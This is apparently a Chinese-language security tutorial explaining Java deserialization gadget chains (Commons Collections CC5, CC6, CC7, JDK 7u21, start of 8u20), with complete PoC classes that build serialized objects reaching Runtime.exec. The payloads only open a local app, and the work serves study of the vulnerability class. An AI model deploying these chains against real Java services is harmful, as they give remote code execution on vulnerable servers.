那么有没有一个类可以在反序列化时触发 TiedMapEntry.toString() 呢? BadAttributeValueExpException

image-20210516201549257

这里可以看到valObj也是从val属性拿到的,我们只要构造的时候把val属性设置为TiedMapEntry即可。

image-20210516202426352

val是private,所以这里还是得用反射去构造。

最终版本PoC

ver1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class BadAttributeValueExpException_Exploit {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"})
};

Transformer chain = new ChainedTransformer(transformers_exec);

HashMap innerMap = new HashMap();
innerMap.put("value","abcd");

Map lazyMap = LazyMap.decorate(innerMap,chain);
TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);
BadAttributeValueExpException payload = new BadAttributeValueExpException(1);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(payload,tmap);

//payload序列化写入文件,模拟网络传输
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc5_BadAttributeValueExpException.ser")));
fout.writeObject(payload);

//服务端读取文件,反序列化,模拟网络传输
ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc5_BadAttributeValueExpException.ser")));
//服务端反序列化,触发漏洞
fin.readObject();
}
}

慢点,这里既然提到了chain,我们可以模仿cc3来用InstantiateTransformer参与chain的构造,还有TrAXFilter:

ver2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public class InstantiateTransformer_Exploit {
public static void main(String[] args) throws Exception {
//1.先创建恶意类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass tempExploitClass = pool.makeClass("3xpl01t");
//一定要设置父类,为了后续顺利
tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//写入payload,生成字节数组
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");";
tempExploitClass.makeClassInitializer().insertBefore(cmd);
byte[] exploitBytes = tempExploitClass.toBytecode();



//2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件
TemplatesImpl tmpl = new TemplatesImpl();
//设置_bytecodes属性为exploitBytes
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{exploitBytes});
//一定要设置_name不为空
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl, "0range");
//_class为空
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl, null);


//3.构造chain,封装进LazyMap
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmpl}
)
};

ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap innermap = new HashMap();
LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tmap = new TiedMapEntry(lazymap, 123);
BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(payload,tmap);

//payload序列化写入文件,模拟网络传输
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc5_InstantiateTransformer.ser")));
fout.writeObject(payload);

//服务端读取文件,反序列化,模拟网络传输
ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc5_InstantiateTransformer.ser")));
//服务端反序列化,触发漏洞
fin.readObject();


}
}

等一下,既然可以用TemplatesImpl,那么我们在cc2的TemplatesImpl版本中发现,TemplatesImpl的newTransformer会将自身的_bytecodes直接数组生成类对象,执行对象构造函数。

我们发现在TiedMapEntry的getValue中会将key参数传入,之后transform也会将key传递,所以这里我们还可以将tmpl传入TiedMapEntry的key属性,在最后也会被执行到。

ver3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public class TemplatesImpl_Exploit {
public static void main(String[] args) throws Exception{
//1.先创建恶意类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass tempExploitClass = pool.makeClass("3xpl01t");
//一定要设置父类,为了后续顺利
tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//写入payload,生成字节数组
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");";
tempExploitClass.makeClassInitializer().insertBefore(cmd);
byte[] exploitBytes = tempExploitClass.toBytecode();



//2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件
TemplatesImpl tmpl = new TemplatesImpl();
//设置_bytecodes属性为exploitBytes
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{exploitBytes});
//一定要设置_name不为空
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl, "0range");
//_class为空
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl, null);


//3.构造InvokerTransformer
InvokerTransformer iInvokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
//InvokerTransformer iInvokerTransformer = new InvokerTransformer("getOutputProperties",new Class[]{},new Object[]{});也可以

HashMap innermap = new HashMap();
LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,iInvokerTransformer);
TiedMapEntry tmap = new TiedMapEntry(lazymap, tmpl);//注意这里
BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(payload,tmap);

//payload序列化写入文件,模拟网络传输
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc5_TemplatesImpl.ser")));
fout.writeObject(payload);

//服务端读取文件,反序列化,模拟网络传输
ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc5_TemplatesImpl.ser")));
//服务端反序列化,触发漏洞
fin.readObject();
}
}

cc6

条件:

  • commons-collections:3.1-3.2.1

  • jdk1.7&1.8

利用链寻找

CC5 用了 BadAttributeValueExpException 反序列化去触发 LazyMap.get(),除了 BadAttributeValueExpException 、AnnotationInvocationHandler 还有其他方法吗? ysoserial告诉我们HashMap也可以!

我们再看看TiedMapEntry的内部方法hashCode:

image-20210516212156876

这里也调用了getValue!

如何反序列化时触发 TiedMapEntry.hashCode() ?

ysoserial发现了HashMap的readObject方法:

image-20210516213000509

image-20210516213024813

image-20210516213038915

调用了k.hashCode。

所以很容易想当然地构造出来一版PoC:

image-20210516221018615

但是你会发现,在put操作处就会触发payload了,根本不是在readObject里面

跟进去看看,这里面直接就触发了利用链,所以我们希望利用链触发在readObejct的位置。

如果想在readObject位置触发,跟几步发现,需要在LazyMap的get方法中让下面这个判断成立,才能进入transform:

image-20210516221822432

这里面的map就是LazyMap,key就是123

我们当然希望返回值是false

继续跟进LazyMap的containsKey:

image-20210516222703891

希望getEntry(key)==null

继续跟进getEntry,这里面的key是123:

image-20210516222727559

这里可以看到,先有一个key是否为null的判断,123不为null所以执行了hash(key)

image-20210517095158842

table是什么呢?

当我们第一次:

1
2
HashMap hashMap = new HashMap();
hashMap.put(tmap, "test");

image-20210517100233906

虽然我们调用的是无参构造方法,但是这里会给我们安排到有参构造方法。

DEFAULT_INITIAL_CAPACITY = 16进入有参构造方法:

image-20210517103659313

这个table属于最外面的hashMap,他的长度为16

继续跟进到TiedMapEntry的get方法:

image-20210517102800741

这里面的map是LazyMap类的对象,也就是我们传进去的lazyMap

继续跟,来到LazyMap的get方法:

image-20210517103044779

这里面的map是我们传进去的innermap,也就是hashmap类型

跟进去看,

这里可以看到,先有一个key是否为null的判断,123不为null所以执行了hash(key)

image-20210517104830975

所以这里e为null,返回null。成功会在put触发。

但是不要忘了put之后的状态:

image-20210517110138797

lazymap.map就被放入了一个key,key的entry。

image-20210517110237951

假如说这时候我们再通过HashMap的readObject方法来到LazyMap的get方法这里,当再次经过这次判断的时候,因为map里已经存放了entry<“123”,“123”>,那么就不再会是false,导致无法进入transform方法,利用链断掉。

所以我们需要把map的内容改掉:

两种方法都行:

1
2
lazyMap.remove(123);
lazyMap.clear(

我们可以改写一下,将lazyMap中hashmap的put之后的key去掉,这样就可以先执行,然后在反序列化时候再执行一遍:

image-20210516222948500

HashMap版PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class HashMap_Exploit {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"})
};

Transformer chain = new ChainedTransformer(transformers_exec);

HashMap innerMap = new HashMap();

Map lazyMap = LazyMap.decorate(innerMap,chain);
TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);

HashMap hashMap = new HashMap();
hashMap.put(tmap, "test");
lazyMap.remove("123");

//payload序列化写入文件,模拟网络传输
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc6_HashMap.ser")));
fout.writeObject(hashMap);

//服务端读取文件,反序列化,模拟网络传输
ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc6_HashMap.ser")));
//服务端反序列化,触发漏洞
fin.readObject();


}
}

fake chain版PoC

既然现在来到了如何绕过put方法的提前执行,可以在构造LazyMap方法的时候穿进去一个空的chain,之后再利用反射将lazymap内部的_itransformer属性改回到真正的chain,这样就可以只最终的反序列化触发点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class fackchain_Exploit {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/IINA.app"})
};

Transformer[] fakeTransformer = new Transformer[]{};


//fake chain
Transformer chain = new ChainedTransformer(fakeTransformer);

HashMap innerMap = new HashMap();

//先构造假的chain
Map lazyMap = LazyMap.decorate(innerMap,chain);
TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);

HashMap hashMap = new HashMap();
hashMap.put(tmap, "test");

//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, transformers_exec);
//清空由于 hashMap.put 对 LazyMap 造成的影响
lazyMap.clear();

//payload序列化写入文件,模拟网络传输
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc6_fakechain.ser")));
fout.writeObject(hashMap);

//服务端读取文件,反序列化,模拟网络传输
ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc6_fakechain.ser")));
//服务端反序列化,触发漏洞
fin.readObject();
}
}

HashSet版PoC

在HashMap的hash中,k目前还是不可控的,所以还需要找哪些函数调用了hash函数,发现HashMap自己的put方法调用了:

image-20210516215129678

然而这里的key还是不可控的,所以我们要找哪里调用了put方法,发现HashSet的readObject很合适:

image-20210516215400317

HashSet的底层其实还是HashMap类,我们需要让HashSet的map属性为HashMap,显然可控。

image-20210517111854587

最终版本PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class HashSet_Exploit {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/IINA.app"})
};

Transformer chain = new ChainedTransformer(transformers_exec);

HashMap innerMap = new HashMap();

Map lazyMap = LazyMap.decorate(innerMap,chain);
TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);

HashSet hashset = new HashSet(1);
hashset.add("0range");

//将map属性设置为我们的tmap
//1.先拿到handle
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
map.setAccessible(true);
HashMap hashset_map = (HashMap) map.get(hashset);
//2.拿到map的table属性,里面应该存放entry
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashset_map);
//3.将第一个entry的key设置为我们的tmap
Object node = array[0];
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tmap);


//payload序列化写入文件,模拟网络传输
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc6_HashSet.ser")));
fout.writeObject(hashset);

//服务端读取文件,反序列化,模拟网络传输
ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc6_HashSet.ser")));
//服务端反序列化,触发漏洞
fin.readObject();
}
}

既然中间用到了LazyMap,那么又可以复用,InstantiateTransformer和TemplatesImpl,PoC就不粘在这里了,可以去看我的github

cc7

条件:

  • commons-collections:3.1-3.2.1

  • jdk1.7&1.8

利用链寻找

cc7的想法依然是寻找LazyMap.get()的触发点。

cc7的后半段和cc1的lazymap版本一样,触发点选择到了AbstractMap的equals方法来触发对LazyMap的get方法的调用:

image-20210517121849144

这里如果m是可控的,那么可以设置m为LazyMap,这样就可以触发调用链的后半部分。

这里要寻找哪里调用了equals方法,ysoserial找到了HashTable的reconstitutionPut方法:

image-20210517122453468

这里面e是参数tab的索引,如果e.key是AbstractMap,那么就可以调用AbstractMap.equals方法。

现在问题来到了,如何才能触发reconstitutionPut方法呢?

我们发现在HashTable的readObject方法里面就调用了reconstitutionPut方法:

image-20210517122844443

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
s.defaultReadObject();
int origlength = s.readInt();
int elements = s.readInt();//elements hashtable中的元素个数
....

for (; elements > 0; elements--) {//通过elements的长度读取键值对
K key = (K)s.readObject();
V value = (V)s.readObject();
reconstitutionPut(table, key, value);//该函数会对元素进行比较
}
this.table = newTable;
}

再看reconstitutionPut方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
int hash = hash(key);//计算key的hash
int index = (hash & 0x7FFFFFFF) % tab.length;//通过hash确定索引
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// 如果没有相同元素,创建元素到hashtable中
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

现在我们跟着reconstitutionPut走,reconstitutionPut方法有三个参数:

table,key,value(后面这两个是流操作,看过writeObject就知道是hashtable自己的key和value属性)

跟进去reconstitutionPut:

image-20210517133736874

我们当然希望走的是AbstractMap类的equals方法,并且保证参数key是LazyMap类型,这样就可以走上LazyMap.get这条熟悉的道路了。

AbstractMap类是一个抽象类,他实现了Map接口中的equals方法。

HashMap是AbsrtactMap的实现类,他没有重写equals方法,所以如果是HashMap#equals方法,其实走的是AbstractMap的equals方法。

也就是说,如果e.key是HashMap,参数(key)是LazyMap,是可以走得通的。

但是怎么才能走到这个判断呢,需要先保证前半部分e.hash == hash,其实在String.equals()方法中存在hash碰撞。

1
2
3
String a = "yy";
String b = "zZ";
a.hashcode() == b.hashcode();//true

大家不要忘了,要想走到这里,最外层还有一个e!=null条件。

image-20210517143801027

tab就是table属性,table是Hashtable用来存放entry的数组,初始状态就算有长度也是null占位。

所以我们要像进入if,需要e!=null成立。

需要先有一个lazymap进来,将table属性赋值、还有将hash值改成自己的参数,等后续第二个进来的lazymap再触发。

第二个进来的lazymap,才会符合e不为空,将自己的hash和e.hash比较。(用yy和zZ绕过)

进入e.key.equals(key),e.key就是第一次进来的lazymap,参数key就是第二次进来的lazymap的innermap。

还有个细节,在第二次进入后,会进入lazymap2.equals(innermap2)

equals方法属于HashMap的父类AbstractMap,对于这部分来说,

LazyMap继承了AbstractMapDecorator的map属性,是Map接口,所以当构造函数的参数是HashMap类型,自然就是LazyMap的map属性自然就是HashMap类型了。

image-20210517144833958

但是HashMap并没有equals方法,实际上走的是父类AbstractMap#equals方法:

image-20210517150342575

最终版本PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public class HashTable_Exploit {
public static void main(String[] args) throws Exception{

Transformer[] fakeTransformer = new Transformer[]{};


Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/IINA.app"})
};

//先用一个假的chain占位置,稍后反射改回来
//这里还是为了能够避开lazymap.put提前RCE
Transformer fakeChain = new ChainedTransformer(fakeTransformer);

//LazyMap实例
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

//创建两个lazymap实例
Map lazyMap1 = LazyMap.decorate(innerMap1,fakeChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2,fakeChain);
lazyMap2.put("zZ", 1);

Hashtable hashTable = new Hashtable();
hashTable.put(lazyMap1, "0range");
hashTable.put(lazyMap2, "0range");


//通过反射设置真的 chain 数组
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(fakeChain, transformers_exec);

lazyMap2.remove("yy");

//payload序列化写入文件,模拟网络传输
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc6_TemplatesImpl_HashTable.ser")));
fout.writeObject(hashTable);

//服务端读取文件,反序列化,模拟网络传输
ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_cc6_TemplatesImpl_HashTable.ser")));
//服务端反序列化,触发漏洞
fin.readObject();

}
}

为什么需要remove掉第二次的lazymap?

因为Hashtable的put方法里面也调用了equals方法:

image-20210517152132073

会导致LazyMap2中右增加了(“yy“,”yy“)这个键值对,会影响当前lazymap2的size不再是1,而是2

导致在第二次进入的时候倒在了size的判断上。

image-20210517152618059

当然既然还是扯到LazyMap,当然可以复用之前的InstantiateTransformer,

具体可以看我的github

CC链总结

五大反序列化利用基类:

1.AnnotationInvocationHandler:反序列化的时候会循环调用成员变量的get方法,用来和lazyMap配合使用。

2.PriorityQueue:反序列化的时候会调用TransformingComparator中的transformer的transform方法,用来直接和Transformer配合使用。

3.BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数,用来和TiedMapEntry配合使用。(TiedMapEntry的toString函数会再去调自身的getValue)。

4.HashSet:反序列化的时候会去循环调用自身map中的put方法,用来和HashMap配合使用。

5.Hashtable:当里面包含2个及以上的map的时候,回去循环调用map的get方法,用来和LazyMap配合使用。

四大Transformer的transform:

1.ChainedTransformer:循环调用成员变量iTransformers数组中的tranform方法。

2.InvokerTransformer: 通过反射的方法调用传入transform方法中的input对象的方法(方法通过成员变量iMethodName设置,参数通过成员变量iParamTypes设置)

3.ConstantTransformer:返回成员变量iConstant的值。

4.InstantiateTransformer:通过反射的方法返回传入参数input的实例。(构造函数的参数通过成员变量iArgs传入,参数类型通过成员变量iParamTypes传入)

三大Map:

1.LazyMap:通过调用LazyMap的get方法可以触发它的成员变量factory的tranform方法,用来和上一节中的Tranformer配合使用。

2.TiedMapEntry:通过调用TiedMapEntry的getValue方法实现对他的成员变量map的get方法的调用,用来和LazyMap配合使用。

3.HashMap:通过调用HashMap的put方法实现对成员变量hashCode方法的调用,用来和TiedMapEntry配合使用(TiedMapEntry的hashCode函数会再去调自身的getValue)。

7u21

条件:

  • jdk<=7u21

这是一条十分有个性的链,因为它仅依赖jre,不依赖任何第三方库。

先说个小tip:神奇的f5a5a608

1
System.out.println("f5a5a608".hashCode()); == 0

利用链构造

用到了AnnotationInvocationHandler作为动态代理来触发cc2里面的TemplatesImpl携带恶意_bytecode,执行静态代码块加载。

前情回顾:

  • TemplatesImpl 类可被序列化,并且其内部名为 _bytecodes 的成员可以用来存储某个 class 的字节数据
  • 通过 TemplatesImpl 类的 getOutputProperties 方法 / newTransformer方法 ,可以最终导致 _bytecodes 所存储的字节数据被转换成为一个 Class(通过 ClassLoader.defineClass),并实例化此 Class,导致 Class 的构造方法/静态代码块中的代码被执行。

光有链还是不够的,需要找个readObject的承接点,让这条链和反序列化入口点连接起来

7u21选择的入口点是LinkedHashSet的readObject方法,实际上是父类HashSet的readObject方法:

image-20210521093720662

这里面的e就是反序列化后的对象。

为什么选择HashMap呢?是因为它有个神奇的equals方法

开启支线任务:

这里先进入AnnotationInvocationHandler的invoke方法看看:

image-20210521102440957

这里如果调用的方法名称是equals,并且参数个数和类型匹配,就会进入equalsImpl方法

看一看equalsImpl方法:

image-20210521103501367

到这里,梳理一下:

我们就在jdk里面找到了一个原生类AnnotationInvocationHandler,他可以充当动态代理,他的invoke方法会调用了本身的equalsImpl方法,在equalsImpl内部又会调用自身memberValues属性的get方法。

之前我们是将this.mamberValues赋值为LazyMap,但是现在我们需要找到一个jdk原生类。

发现下面还有一个invoke方法

ysoserial的思路肯定也是盯着哪些类有equals方法,我们的动态代理只要在之后去invoke这个equals方法就可以了。

世界线收束:

image-20210521110552890

在我们之前发现的HashMap的put方法中,就会调用key的equals方法。

能到这里需要的条件:

  • e.hash == hash
  • e.key == key

首先会调用内部 hash() 函数计算 key 的 hash 值,然后遍历所有元素,*当要插入的元素的 hash 和已有 entry 相同,且 key 和 Entry的 key 指向同一个对象 或 二者equals时 *,则认为 key 是否已经存在,返回 oldValue,否则调用 addEntry() 添加元素。

这里核心关键点就是让key指向的是我们通过动态代理生成的Proxy对象,我们知道调用Proxy对象的任何方法,本质上都是在调用InvokcationHandler对象中被重写的invoke方法。因为生成Proxy对象时传入的参数是InvokcationHandler的子类AnnotationInvocationHandler,所以自然要调用AnnotationInvocationHandler.invoke()方法。

这里有几个细节:

  1. 首先需要保证我们传入携带动态代理的key之前,map里面就已经有一个entry了,才能保证e不为null,进入循环
  2. 第一个entry应该为Templates对象
  3. 为了保证有有序添加,所以我们才用LinkedHashSet

这里先看一下限制条件:

  1. e.hash == hash

    这个需要保证的是两个hash值相等,hash值就是hash()值相等

    想到我们之前的提到的神奇的f5a5a608,它的hashcode()==0

看一下hash()源码:

image-20210521111553605

这里其实结果只受k.hashcode()的影响。

  • 对于普通的obj来说,这里k就是本身
  • 对于一个代理类来说,统一调用invoke方法。如果当前的k是AnnotationInvocationHandler类,那么调用的就是AnnotationInvocationHandler类内部的hashCodeImpl()方法

image-20210521112200882

image-20210521112527126

跟进memberValueHashCode方法再看看:

image-20210521112817611

改写一下就是:

1
( 127 * key.hashCode() ) ^ value.hashCode()

两个hash:

  • TemplatesImpl实例.hashCode()
  • ( 127 * key.hashCode() ) ^ TemplatesImpl实例.hashCode()

我们希望key就是f5a5a608,这样的话返回值就是TemplatesImpl实例.hashCode()了,就可以绕过e.hash == hash的check了。

细节:

  • 可以看到hashCodeImpl()内部是有一个循环的,为了让最后的结果和value.hashCode()相同,我们希望memberValues只有一个entry,再put一个相同的key就行了,为了让tmpl和第一次的一样。
  • 我们这里只需要让memberValue这个属性里面存放一个HashMap就行了,这个map的key是f5a5a608,value是包含恶意字节码的TemplatesImpl对象就行了

最终PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public class Exploit {
public static void main(String[] args) throws Exception{
//1.先创建恶意类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass tempExploitClass = pool.makeClass("3xpl01t");
//一定要设置父类,为了后续顺利
tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//写入payload,生成字节数组
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/IINA.app\");";
tempExploitClass.makeClassInitializer().insertBefore(cmd);
byte[] exploitBytes = tempExploitClass.toBytecode();

//2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件
TemplatesImpl tmpl = new TemplatesImpl();
//设置_bytecodes属性为exploitBytes
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{exploitBytes});
//一定要设置_name不为空
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl, "0range");
//_class为空
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl, null);

//整个map,容量为2
Map map = new HashMap(2);
String magicStr = "f5a5a608";
// 放入实际的 value
map.put(magicStr, tmpl);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) cons.newInstance(Templates.class, map);

Templates proxy = (Templates) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler);

HashSet target = new LinkedHashSet();
target.add(tmpl);
target.add(proxy);

//payload序列化写入文件,模拟网络传输
ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_jdk7u21.ser")));
fout.writeObject(target);

//服务端读取文件,反序列化,模拟网络传输
ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/Payload_jdk7u21.ser")));
//服务端反序列化,触发漏洞
fin.readObject();

}
}

8u20

环境:

  • jdk <= 8u20

在说8u20之前,说一下7u21的修复:

image-20210521143008667

可以看到,AnnotationInvocationHandler的readObject方法把this.type属性限制了只能是注解,所以我们7u21用的是Templates.class,是为了后续的TemplatesImpl的instanceof的检查可以通过。

在8u20中使用BeanContextSupport类对这个修补方式进行了绕过。

基础知识补充-序列化

整个例子

image-20210521160220634

在ObjectOutputStream位置下个断点

image-20210521155206766

跟进去看,构造函数就做了很多事情,会来到writeStreamHeader方法:

image-20210521160415081

image-20210521160518217

写入了aced0005

接下来看下out.writeObject(object)是怎么写入数据的?

会先解析class结构,判断是否实现了Serializable接口,是的话执行writeOrdinaryObject方法

image-20210521160831777

看下图,首先写入TC_OBJECT,常量TC_OBJECT的值是(byte)0x73,之后调用writeClassDesc方法写入类描述符,然后会调用到writeNonProxyDesc方法

image-20210521164415007

进入writeNonProxyDesc方法,

image-20210521164739263

写入TC_CLASSDESC的值是0x72,然后进入writeNonProxy方法

image-20210521164704196

跟进去看看getSerialVersionID是做什么的,看下图可以发现,默认获取对象的serialVersionUID值,如果对象serialVersionUID的值为空则会计算出一个serialVersionUID的值

image-20210521165047244

返回writeNonProxy方法看看之后做了什么事情:

image-20210521170116717

回到writeNonProxyDesc方法

image-20210521170318982

可以看到在对当前对象的序列化之后,进行了对父类对象的序列化,写入父类的class结构信息。

到这里子类和父类的class都写完了。

接下来回到代码,接下来会进入writeSerialData写入对象的属性值。

image-20210521170927503

进入可以看到slots存放的是对象数组,先是父类,然后才是子类对象:

image-20210521171332673

这里梳理一下流程:

1
2
3
序列化类结构信息: 子类 - > 父类

序列化对象信息: 父类 - > 子类

利用链构造

这里我们先看一下8u20下AnnotationInvocationHandler类的readObject方法

image-20210521174334090

两步骤:

  • 先执行var1.defaultReadObject()来还原对象,从流里还原对象
  • 检查this.type进行了是否为注解类,如果不是的话就报错

注意AnnotationInvocationHandler 这个对象是先被成功还原,然后再抛出的异常。绕过就是利用了这一点。

这里compare一下jdk7u21的修复方式:

1
2
3
4
5
6
7
8
9
